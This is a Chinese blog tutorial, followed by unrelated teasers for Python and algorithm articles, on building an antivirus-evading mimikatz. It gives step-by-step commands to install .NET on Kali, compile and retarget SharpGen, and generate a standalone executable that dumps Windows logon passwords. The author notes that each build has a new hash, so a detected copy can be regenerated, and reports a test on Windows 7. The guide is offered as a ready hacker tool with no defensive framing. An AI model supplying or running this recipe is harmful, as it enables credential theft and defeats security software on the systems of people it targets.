百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 博客教程 > 正文

打造一个可靠的mimikatz

connygpt 2024-12-13 12:41 17 浏览

mimikatz来自https://github.com/gentilkiwi/mimikatz,是黑客手中必不可少的一款利器,名气大也招风,已经被杀软杀得快不能用了,我试过网上太多的方法,基本还是用不了。

最近我找到了一个方法,应当还不错。

kali2024.1安装后,先升级一下:

sudo apt update

sudo apt full-upgrade

会自动装上donet 6.0。我们可以查看一下版本:dotnet --list-sdks


我是又升级了到8.0了,如果只你看本文并不需要升级。如果想升级到8.0,可以如下命令:

步骤 1:添加 Microsoft 包签名密钥和软件包源

打开终端,并运行以下命令来添加 Microsoft 的公钥,并注册其包源:

wget https://packages.microsoft.com/config/ubuntu/22.04/packages-microsoft-prod.deb -O packages-microsoft-prod.deb

sudo dpkg -i packages-microsoft-prod.deb

步骤 2:安装所需的依赖项

使用以下命令来更新包列表并安装依赖项,确保系统中含有必要的库:

sudo apt update

sudo apt install -y apt-transport-https && sudo apt update

步骤 3:安装 .NET

根据您的需求选择安装 .NET SDK 或者只安装运行时 (Runtime)。.NET SDK 包括了运行时,并且用于开发应用。如果只需要运行应用,则安装运行时即可。

  • 安装 .NET SDK:
  • sudo apt-get install -y dotnet-sdk-8.0

只安装 .NET Runtime:

sudo apt-get install -y dotnet-runtime-8.0

下载安装并编译SharpGen:

git clone https://github.com/cobbr/SharpGen
cd SharpGen
dotnet build --configuration Release

但这时你安装的SharpGen是支持.net 20,和我们的kali环境不符。我们进入SharpGen目录,修改为.net 6.0

执行命令:sudo leafpad SharpGen.csproj

修改为:<PropertyGroup> <TargetFramework>net6.0</TargetFramework> </PropertyGroup>

更新 NuGet 包:

在项目目录中运行:dotnet restore

再重新编译一下:dotnet build --configuration Release

我们就编译完成了home/kali/SharpGen/bin/Release/net6.0/SharpGen.dll,运行一下看下:


SharpGen默认集成了SharpSploit(https://github.com/cobbr/SharpSploit),能够直接调用其中的功能。SharpGen使用了Rosyln进行动态编译,每次生成的文件hash都会不一样,这样我们被杀了一个还可以重新生成一个。

我们直接来生成一个抓取密码的mimikatz的单文件:

dotnet /home/kali/SharpGen/bin/Release/net6.0/SharpGen.dll -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());


这样你就得到了一个可靠的mimikatz。当然,它还支持SharpSploit其它的功能,类似:Command("privilege::debug lsadump::sam").等,具体你可以去看下。

我在win7上测试结果:


相关推荐

自学Python,写一个挨打的游戏代码来初识While循环

自学Python的第11天。旋转~跳跃~,我~闭着眼!学完循环,沐浴着while的光芒,闲来无事和同事一起扯皮,我说:“编程语言好神奇,一个小小的循环,竟然在生活中也可以找到原理和例子”,同事也...

常用的 Python 工具与资源,你知道几个?

最近几年你会发现,越来越多的人开始学习Python,工欲善其事必先利其器,今天纬软小编就跟大家分享一些常用的Python工具与资源,记得收藏哦!不然下次就找不到我了。1、PycharmPychar...

一张思维导图概括Python的基本语法, 一周的学习成果都在里面了

一周总结不知不觉已经自学Python一周的时间了,这一周,从认识Python到安装Python,再到基本语法和基本数据类型,对于小白的我来说无比艰辛的,充满坎坷。最主要的是每天学习时间有限。只...

三日速成python?打工人,小心钱包,别当韭菜

随着人工智能的热度越来越高,许多非计算机专业的同学们也都纷纷投入到学习编程的道路上来。而Python,作为一种相对比较容易上手的语言,也越来越受欢迎。网络上各类网课层出不穷,各式广告令人眼花缭乱。某些...

Python自动化软件测试怎么学?路线和方法都在这里了

Python自动化测试是指使用Python编程语言和相关工具,对软件系统进行自动化测试的过程。学习Python自动化测试需要掌握以下技术:Python编程语言:学习Python自动化测试需要先掌握Py...

Python从放弃到入门:公众号历史文章爬取为例谈快速学习技能

这篇文章不谈江流所专研的营销与运营,而聊一聊技能学习之路,聊一聊Python这门最简单的编程语言该如何学习,我完成的第一个Python项目,将任意公众号的所有历史文章导出成PDF电子书。或许我这个Py...

【黑客必会】python学习计划

阅读Python文档从Python官方网站上下载并阅读Python最新版本的文档(中文版),这是学习Python的最好方式。对于每个新概念和想法,请尝试运行一些代码片段,并检查生成的输出。这将帮助您更...

公布了!2025CDA考试安排

CDA数据分析师报考流程数据分析师是指在不同行业中专门从事行业数据搜集、整理、分析依据数据作出行业研究评估的专业人员CDA证书分为1-3级,中英文双证就业面广,含金量高!!?报考条件:满18...

一文搞懂全排列、组合、子集问题(经典回溯递归)

原创公众号:【bigsai】头条号:程序员bigsai前言Hello,大家好,我是bigsai,longtimenosee!在刷题和面试过程中,我们经常遇到一些排列组合类的问题,而全排列、组合...

「西法带你学算法」一次搞定前缀和

我花了几天时间,从力扣中精选了五道相同思想的题目,来帮助大家解套,如果觉得文章对你有用,记得点赞分享,让我看到你的认可,有动力继续做下去。467.环绕字符串中唯一的子字符串[1](中等)795.区...

平均数的5种方法,你用过几种方法?

平均数,看似很简单的东西,其实里面包含着很多学问。今天,分享5种经常会用到的平均数方法。1.算术平均法用到最多的莫过于算术平均法,考试平均分、平均工资等等,都是用到这个。=AVERAGE(B2:B11...

【干货收藏】如何最简单、通俗地理解决策树分类算法?

决策树(Decisiontree)是基于已知各种情况(特征取值)的基础上,通过构建树型决策结构来进行分析的一种方式,是常用的有监督的分类算法。决策树算法是机器学习中的一种经典算法,它通过一系列的规则...

面试必备:回溯算法详解

我们刷leetcode的时候,经常会遇到回溯算法类型题目。回溯算法是五大基本算法之一,一般大厂也喜欢问。今天跟大家一起来学习回溯算法的套路,文章如果有不正确的地方,欢迎大家指出哈,感谢感谢~什么是回溯...

「机器学习」决策树——ID3、C4.5、CART(非常详细)

决策树是一个非常常见并且优秀的机器学习算法,它易于理解、可解释性强,其可作为分类算法,也可用于回归模型。本文将分三篇介绍决策树,第一篇介绍基本树(包括ID3、C4.5、CART),第二篇介绍Ran...

大话AI算法: 决策树

所谓的决策树算法,通俗的说就是建立一个树形的结构,通过这个结构去一层一层的筛选判断问题是否好坏的算法。比如判断一个西瓜是否好瓜,有20条西瓜的样本提供给你,让你根据这20条(通过机器学习)建立起...